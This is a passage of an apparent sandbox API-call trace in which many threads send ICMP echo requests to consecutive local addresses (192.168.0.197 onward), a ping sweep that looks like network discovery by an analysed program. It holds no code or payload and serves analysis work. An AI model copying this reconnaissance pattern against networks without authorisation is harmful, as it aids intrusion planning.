	[0253.005] IcmpSendEcho (IcmpHandle=0x362130, DestinationAddress=0xc500a8c0, RequestData=0x185ffcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x185ffce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3118
	os_tid = 0x36ac

	[0251.772] GetLastError () returned 0x57
	[0251.772] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x367d60
	[0251.772] SetLastError (dwErrCode=0x57) 
	[0251.772] IcmpCreateFile () returned 0x362180
	[0253.006] IcmpSendEcho (IcmpHandle=0x362180, DestinationAddress=0xc600a8c0, RequestData=0x187af760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x187af780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3119
	os_tid = 0x36b0

	[0251.772] GetLastError () returned 0x57
	[0251.772] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x368130
	[0251.773] SetLastError (dwErrCode=0x57) 
	[0251.773] IcmpCreateFile () returned 0x3621d0
	[0253.007] IcmpSendEcho (IcmpHandle=0x3621d0, DestinationAddress=0xc700a8c0, RequestData=0x179cfb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x179cfba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3120
	os_tid = 0x36b4

	[0251.773] GetLastError () returned 0x57
	[0251.773] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x368500
	[0251.773] SetLastError (dwErrCode=0x57) 
	[0251.773] IcmpCreateFile () returned 0x362220
	[0253.008] IcmpSendEcho (IcmpHandle=0x362220, DestinationAddress=0xc800a8c0, RequestData=0x170bf7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x170bf7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3121
	os_tid = 0x36b8

	[0251.774] GetLastError () returned 0x57
	[0251.774] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3688d0
	[0251.774] SetLastError (dwErrCode=0x57) 
	[0251.774] IcmpCreateFile () returned 0x362270
	[0253.009] IcmpSendEcho (IcmpHandle=0x362270, DestinationAddress=0xc900a8c0, RequestData=0x189af960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x189af980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3122
	os_tid = 0x36bc

	[0251.775] GetLastError () returned 0x57
	[0251.775] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x368ca0
	[0251.775] SetLastError (dwErrCode=0x57) 
	[0251.775] IcmpCreateFile () returned 0x3622c0
	[0253.010] IcmpSendEcho (IcmpHandle=0x3622c0, DestinationAddress=0xca00a8c0, RequestData=0x180bfce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x180bfd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3123
	os_tid = 0x36c0

	[0252.191] GetLastError () returned 0x57
	[0252.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x369070
	[0252.191] SetLastError (dwErrCode=0x57) 
	[0252.192] IcmpCreateFile () returned 0x362310
	[0253.011] IcmpSendEcho (IcmpHandle=0x362310, DestinationAddress=0xcb00a8c0, RequestData=0x18abf740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18abf760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3134
	os_tid = 0x36ec

	[0252.192] GetLastError () returned 0x57
	[0252.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x369440
	[0252.193] SetLastError (dwErrCode=0x57) 
	[0252.193] IcmpCreateFile () returned 0x362360
	[0253.011] IcmpSendEcho (IcmpHandle=0x362360, DestinationAddress=0xcc00a8c0, RequestData=0x18c6faa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18c6fac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3135
	os_tid = 0x36f0

	[0252.193] GetLastError () returned 0x57
	[0252.193] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x369810
	[0252.194] SetLastError (dwErrCode=0x57) 
	[0252.194] IcmpCreateFile () returned 0x3623b0
	[0253.012] IcmpSendEcho (IcmpHandle=0x3623b0, DestinationAddress=0xcd00a8c0, RequestData=0x18ddf740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18ddf760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3136
	os_tid = 0x36f4

	[0252.194] GetLastError () returned 0x57
	[0252.194] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x369be0
	[0252.194] SetLastError (dwErrCode=0x57) 
	[0252.194] IcmpCreateFile () returned 0x362400
	[0253.013] IcmpSendEcho (IcmpHandle=0x362400, DestinationAddress=0xce00a8c0, RequestData=0x1900f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1900f720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3137
	os_tid = 0x36f8

	[0252.195] GetLastError () returned 0x57
	[0252.195] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x369fb0
	[0252.195] SetLastError (dwErrCode=0x57) 
	[0252.195] IcmpCreateFile () returned 0x362450
	[0253.014] IcmpSendEcho (IcmpHandle=0x362450, DestinationAddress=0xcf00a8c0, RequestData=0x191ffca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x191ffcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3138
	os_tid = 0x36fc

	[0252.195] GetLastError () returned 0x57
	[0252.196] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x36a380
	[0252.196] SetLastError (dwErrCode=0x57) 
	[0252.196] IcmpCreateFile () returned 0x3624a0
	[0253.015] IcmpSendEcho (IcmpHandle=0x3624a0, DestinationAddress=0xd000a8c0, RequestData=0x193afce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x193afd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3139
	os_tid = 0x3700

	[0252.196] GetLastError () returned 0x57
	[0252.196] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x372a50
	[0252.199] SetLastError (dwErrCode=0x57) 
	[0252.199] IcmpCreateFile () returned 0x3624f0
	[0253.016] IcmpSendEcho (IcmpHandle=0x3624f0, DestinationAddress=0xd100a8c0, RequestData=0x18f0f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18f0fa00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3140
	os_tid = 0x3704

	[0252.200] GetLastError () returned 0x57
	[0252.200] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x372e20
	[0252.200] SetLastError (dwErrCode=0x57) 
	[0252.200] IcmpCreateFile () returned 0x362540
	[0253.016] IcmpSendEcho (IcmpHandle=0x362540, DestinationAddress=0xd200a8c0, RequestData=0x1961f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1961f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3141
	os_tid = 0x3708

	[0252.200] GetLastError () returned 0x57
	[0252.200] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3731f0
	[0252.201] SetLastError (dwErrCode=0x57) 
	[0252.201] IcmpCreateFile () returned 0x362590
	[0253.017] IcmpSendEcho (IcmpHandle=0x362590, DestinationAddress=0xd300a8c0, RequestData=0x1976fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1976fca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3142
	os_tid = 0x370c

	[0252.201] GetLastError () returned 0x57
	[0252.201] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3735c0
	[0252.201] SetLastError (dwErrCode=0x57) 
	[0252.201] IcmpCreateFile () returned 0x3625e0
	[0253.018] IcmpSendEcho (IcmpHandle=0x3625e0, DestinationAddress=0xd400a8c0, RequestData=0x188afe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x188afe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3143
	os_tid = 0x3710

	[0252.203] GetLastError () returned 0x57
	[0252.203] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x373990
	[0252.203] SetLastError (dwErrCode=0x57) 
	[0252.203] IcmpCreateFile () returned 0x362630
	[0253.019] IcmpSendEcho (IcmpHandle=0x362630, DestinationAddress=0xd500a8c0, RequestData=0x1990fa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1990fa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3144
	os_tid = 0x3714

	[0252.203] GetLastError () returned 0x57
	[0252.203] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x373d60
	[0252.204] SetLastError (dwErrCode=0x57) 
	[0252.204] IcmpCreateFile () returned 0x362680
	[0253.020] IcmpSendEcho (IcmpHandle=0x362680, DestinationAddress=0xd600a8c0, RequestData=0x19b0fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19b0fbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3145
	os_tid = 0x3718

	[0252.204] GetLastError () returned 0x57
	[0252.204] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x374130
	[0252.204] SetLastError (dwErrCode=0x57) 
	[0252.204] IcmpCreateFile () returned 0x3626d0
	[0253.021] IcmpSendEcho (in: IcmpHandle=0x3626d0, DestinationAddress=0xd700a8c0, RequestData=0x19c5f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19c5f800, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19c5f800) returned 0x1
	[0284.557] IcmpCloseHandle (IcmpHandle=0x3626d0) returned 1
	[0284.557] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x374130 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3146
	os_tid = 0x371c

	[0252.205] GetLastError () returned 0x57
	[0252.205] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x374500
	[0252.205] SetLastError (dwErrCode=0x57) 
	[0252.205] IcmpCreateFile () returned 0x362720
	[0253.021] IcmpSendEcho (in: IcmpHandle=0x362720, DestinationAddress=0xd800a8c0, RequestData=0x19e4fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19e4fce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19e4fce0) returned 0x1
	[0283.902] IcmpCloseHandle (IcmpHandle=0x362720) returned 1
	[0283.903] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x374500 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3147
	os_tid = 0x3720

	[0252.205] GetLastError () returned 0x57
	[0252.205] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3748d0
	[0252.206] SetLastError (dwErrCode=0x57) 
	[0252.206] IcmpCreateFile () returned 0x362770
	[0253.022] IcmpSendEcho (in: IcmpHandle=0x362770, DestinationAddress=0xd900a8c0, RequestData=0x1a07fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a07fe40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a07fe40) returned 0x1
	[0283.388] IcmpCloseHandle (IcmpHandle=0x362770) returned 1
	[0283.389] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x3748d0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3148
	os_tid = 0x3724

	[0252.206] GetLastError () returned 0x57
	[0252.206] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x374ca0
	[0252.206] SetLastError (dwErrCode=0x57) 
	[0252.206] IcmpCreateFile () returned 0x3627c0
	[0253.023] IcmpSendEcho (in: IcmpHandle=0x3627c0, DestinationAddress=0xda00a8c0, RequestData=0x19a0fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19a0fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19a0fd20) returned 0x1
	[0282.171] IcmpCloseHandle (IcmpHandle=0x3627c0) returned 1
	[0282.171] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x374ca0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3149
	os_tid = 0x3728

	[0252.207] GetLastError () returned 0x57
	[0252.207] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x375070
	[0252.207] SetLastError (dwErrCode=0x57) 
	[0252.207] IcmpCreateFile () returned 0x362810
	[0253.024] IcmpSendEcho (in: IcmpHandle=0x362810, DestinationAddress=0xdb00a8c0, RequestData=0x1a23f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a23f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a23f940) returned 0x1
	[0279.051] IcmpCloseHandle (IcmpHandle=0x362810) returned 1
	[0279.051] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x375070 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3150
	os_tid = 0x372c

	[0252.207] GetLastError () returned 0x57
	[0252.207] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x375440
	[0252.208] SetLastError (dwErrCode=0x57) 
	[0252.208] IcmpCreateFile () returned 0x362860
	[0253.026] IcmpSendEcho (in: IcmpHandle=0x362860, DestinationAddress=0xdc00a8c0, RequestData=0x1a33fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a33fda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a33fda0) returned 0x1
	[0278.486] IcmpCloseHandle (IcmpHandle=0x362860) returned 1
	[0278.486] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x375440 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3151
	os_tid = 0x3730

	[0252.208] GetLastError () returned 0x57
	[0252.208] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x375810
	[0252.208] SetLastError (dwErrCode=0x57) 
	[0252.208] IcmpCreateFile () returned 0x3628b0
	[0253.027] IcmpSendEcho (in: IcmpHandle=0x3628b0, DestinationAddress=0xdd00a8c0, RequestData=0x1a4bf9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a4bf9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a4bf9e0) returned 0x1
	[0278.115] IcmpCloseHandle (IcmpHandle=0x3628b0) returned 1
	[0278.115] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x375810 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3152
	os_tid = 0x3734

	[0252.209] GetLastError () returned 0x57
	[0252.209] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x375be0
	[0252.209] SetLastError (dwErrCode=0x57) 
	[0252.209] IcmpCreateFile () returned 0x362900
	[0253.029] IcmpSendEcho (in: IcmpHandle=0x362900, DestinationAddress=0xde00a8c0, RequestData=0x1a6bf9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a6bfa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a6bfa00) returned 0x1
	[0277.460] IcmpCloseHandle (IcmpHandle=0x362900) returned 1
	[0277.460] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x375be0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3153
	os_tid = 0x3738

	[0252.210] GetLastError () returned 0x57
	[0252.210] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x375fb0
	[0252.210] SetLastError (dwErrCode=0x57) 
	[0252.210] IcmpCreateFile () returned 0x362950
	[0253.030] IcmpSendEcho (in: IcmpHandle=0x362950, DestinationAddress=0xdf00a8c0, RequestData=0x194afd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x194afd80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x194afd80) returned 0x1
	[0276.929] IcmpCloseHandle (IcmpHandle=0x362950) returned 1
	[0276.929] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x375fb0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3154
	os_tid = 0x373c

	[0252.210] GetLastError () returned 0x57
	[0252.210] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x376380
	[0252.210] SetLastError (dwErrCode=0x57) 
	[0252.210] IcmpCreateFile () returned 0x3629a0
	[0253.031] IcmpSendEcho (in: IcmpHandle=0x3629a0, DestinationAddress=0xe000a8c0, RequestData=0x1a7cfb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a7cfba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a7cfba0) returned 0x1
	[0276.371] IcmpCloseHandle (IcmpHandle=0x3629a0) returned 1
	[0276.372] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x376380 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3155
	os_tid = 0x3740

	[0252.211] GetLastError () returned 0x57
	[0252.211] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x376a50
	[0252.213] SetLastError (dwErrCode=0x57) 
	[0252.213] IcmpCreateFile () returned 0x37aa50
	[0253.032] IcmpSendEcho (in: IcmpHandle=0x37aa50, DestinationAddress=0xe100a8c0, RequestData=0x1a8ff840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a8ff860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a8ff860) returned 0x1
	[0275.775] IcmpCloseHandle (IcmpHandle=0x37aa50) returned 1
	[0275.775] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x376a50 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3156
	os_tid = 0x3744

	[0252.215] GetLastError () returned 0x57
	[0252.215] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x376e20
	[0252.215] SetLastError (dwErrCode=0x57) 
	[0252.215] IcmpCreateFile () returned 0x37aaa0
	[0253.033] IcmpSendEcho (in: IcmpHandle=0x37aaa0, DestinationAddress=0xe200a8c0, RequestData=0x1ab4fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ab4fdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1ab4fdc0) returned 0x1
	[0275.465] IcmpCloseHandle (IcmpHandle=0x37aaa0) returned 1
	[0275.465] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x376e20 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3157
	os_tid = 0x3748

	[0252.216] GetLastError () returned 0x57
	[0252.216] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3771f0
	[0252.216] SetLastError (dwErrCode=0x57) 
	[0252.216] IcmpCreateFile () returned 0x37aaf0
	[0253.033] IcmpSendEcho (in: IcmpHandle=0x37aaf0, DestinationAddress=0xe300a8c0, RequestData=0x1ad7fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ad7fb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1ad7fb80) returned 0x1
	[0273.692] IcmpCloseHandle (IcmpHandle=0x37aaf0) returned 1
	[0273.693] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x3771f0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3158
	os_tid = 0x374c

	[0252.216] GetLastError () returned 0x57
	[0252.217] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3775c0
	[0252.217] SetLastError (dwErrCode=0x57) 
	[0252.217] IcmpCreateFile () returned 0x37ab40
	[0253.035] IcmpSendEcho (in: IcmpHandle=0x37ab40, DestinationAddress=0xe400a8c0, RequestData=0x1aeaf760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1aeaf780, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1aeaf780) returned 0x1
	[0270.170] IcmpCloseHandle (IcmpHandle=0x37ab40) returned 1
	[0270.171] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x3775c0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3159
	os_tid = 0x3750

	[0252.218] GetLastError () returned 0x57
	[0252.218] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x377990
	[0252.218] SetLastError (dwErrCode=0x57) 
	[0252.218] IcmpCreateFile () returned 0x37ab90
	[0253.039] IcmpSendEcho (in: IcmpHandle=0x37ab90, DestinationAddress=0xe500a8c0, RequestData=0x19f4fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19f4fcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x19f4fcc0) returned 0x1
	[0269.780] IcmpCloseHandle (IcmpHandle=0x37ab90) returned 1
	[0269.780] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x377990 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3160
	os_tid = 0x3754

	[0252.218] GetLastError () returned 0x57
	[0252.218] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x377d60
	[0252.219] SetLastError (dwErrCode=0x57) 
	[0252.219] IcmpCreateFile () returned 0x37abe0
	[0253.039] IcmpSendEcho (in: IcmpHandle=0x37abe0, DestinationAddress=0xe600a8c0, RequestData=0x1afffb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1afffb40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1afffb40) returned 0x1
	[0269.220] IcmpCloseHandle (IcmpHandle=0x37abe0) returned 1
	[0269.221] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x377d60 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3161
	os_tid = 0x3758

	[0252.220] GetLastError () returned 0x57
	[0252.220] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x378130
	[0252.220] SetLastError (dwErrCode=0x57) 
	[0252.220] IcmpCreateFile () returned 0x37ac30
	[0253.040] IcmpSendEcho (in: IcmpHandle=0x37ac30, DestinationAddress=0xe700a8c0, RequestData=0x1b20fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b20fc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b20fc80) returned 0x1
	[0268.472] IcmpCloseHandle (IcmpHandle=0x37ac30) returned 1
	[0268.472] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x378130 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3162
	os_tid = 0x375c

	[0252.220] GetLastError () returned 0x57
	[0252.220] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x378500
	[0252.221] SetLastError (dwErrCode=0x57) 
	[0252.221] IcmpCreateFile () returned 0x37ac80
	[0253.041] IcmpSendEcho (in: IcmpHandle=0x37ac80, DestinationAddress=0xe800a8c0, RequestData=0x1b39fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b39fa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b39fa60) returned 0x1
	[0267.598] IcmpCloseHandle (IcmpHandle=0x37ac80) returned 1
	[0267.598] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x378500 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3163
	os_tid = 0x3760

	[0252.221] GetLastError () returned 0x57
	[0252.221] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3788d0
	[0252.221] SetLastError (dwErrCode=0x57) 
	[0252.221] IcmpCreateFile () returned 0x37acd0
	[0253.042] IcmpSendEcho (in: IcmpHandle=0x37acd0, DestinationAddress=0xe900a8c0, RequestData=0x1b50fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b50fbe0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b50fbe0) returned 0x1
	[0266.165] IcmpCloseHandle (IcmpHandle=0x37acd0) returned 1
	[0266.166] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x3788d0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3164
	os_tid = 0x3764

	[0252.222] GetLastError () returned 0x57
	[0252.222] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x378ca0
	[0252.222] SetLastError (dwErrCode=0x57) 
	[0252.222] IcmpCreateFile () returned 0x37ad20
	[0253.043] IcmpSendEcho (in: IcmpHandle=0x37ad20, DestinationAddress=0xea00a8c0, RequestData=0x1a5bfda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a5bfdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1a5bfdc0) returned 0x1
	[0262.843] IcmpCloseHandle (IcmpHandle=0x37ad20) returned 1
	[0262.843] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x378ca0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3165
	os_tid = 0x3768

	[0252.467] GetLastError () returned 0x57
	[0252.467] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x379070
	[0252.467] SetLastError (dwErrCode=0x57) 
	[0252.467] IcmpCreateFile () returned 0x37ad70
	[0253.044] IcmpSendEcho (in: IcmpHandle=0x37ad70, DestinationAddress=0xeb00a8c0, RequestData=0x1b6cfd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b6cfd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b6cfd60) returned 0x1
	[0262.429] IcmpCloseHandle (IcmpHandle=0x37ad70) returned 1
	[0262.429] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x379070 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3181
	os_tid = 0x37b0

	[0252.468] GetLastError () returned 0x57
	[0252.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x379440
	[0252.468] SetLastError (dwErrCode=0x57) 
	[0252.468] IcmpCreateFile () returned 0x37adc0
	[0253.045] IcmpSendEcho (in: IcmpHandle=0x37adc0, DestinationAddress=0xec00a8c0, RequestData=0x1b7ef8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b7ef900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b7ef900) returned 0x1
	[0261.860] IcmpCloseHandle (IcmpHandle=0x37adc0) returned 1
	[0261.860] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x379440 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3182
	os_tid = 0x37b4

	[0252.468] GetLastError () returned 0x57
	[0252.468] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x379810
	[0252.469] SetLastError (dwErrCode=0x57) 
	[0252.469] IcmpCreateFile () returned 0x37ae10
	[0253.046] IcmpSendEcho (in: IcmpHandle=0x37ae10, DestinationAddress=0xed00a8c0, RequestData=0x1aa3fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1aa3fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1aa3fd00) returned 0x1
	[0261.352] IcmpCloseHandle (IcmpHandle=0x37ae10) returned 1
	[0261.352] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x379810 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3183
	os_tid = 0x37b8

	[0252.469] GetLastError () returned 0x57
	[0252.469] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x379be0
	[0252.470] SetLastError (dwErrCode=0x57) 
	[0252.470] IcmpCreateFile () returned 0x37ae60
	[0253.046] IcmpSendEcho (in: IcmpHandle=0x37ae60, DestinationAddress=0xee00a8c0, RequestData=0x1ba6fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ba6fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1ba6fd00) returned 0x1
	[0260.868] IcmpCloseHandle (IcmpHandle=0x37ae60) returned 1
	[0260.868] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x379be0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3184
	os_tid = 0x37bc

	[0252.470] GetLastError () returned 0x57
	[0252.470] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x379fb0
	[0252.470] SetLastError (dwErrCode=0x57) 
	[0252.470] IcmpCreateFile () returned 0x37aeb0
